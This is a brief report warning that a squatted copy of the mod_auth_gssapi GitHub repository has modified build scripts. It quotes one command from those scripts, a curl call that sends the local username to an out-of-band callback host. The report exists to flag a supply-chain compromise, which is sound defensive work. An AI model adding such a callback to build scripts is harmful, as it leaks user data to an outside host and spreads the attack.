Github no longer redirects https://github.com/modauthgssapi/mod_auth_gssapi,
as someone squatted it. Code there is changed a bit: build scripts now call
curl "$(USER).cgetgk27972qp7qtpdcgix5crkjmdnrxs.oast.online"
at some stages. This looks suspicious.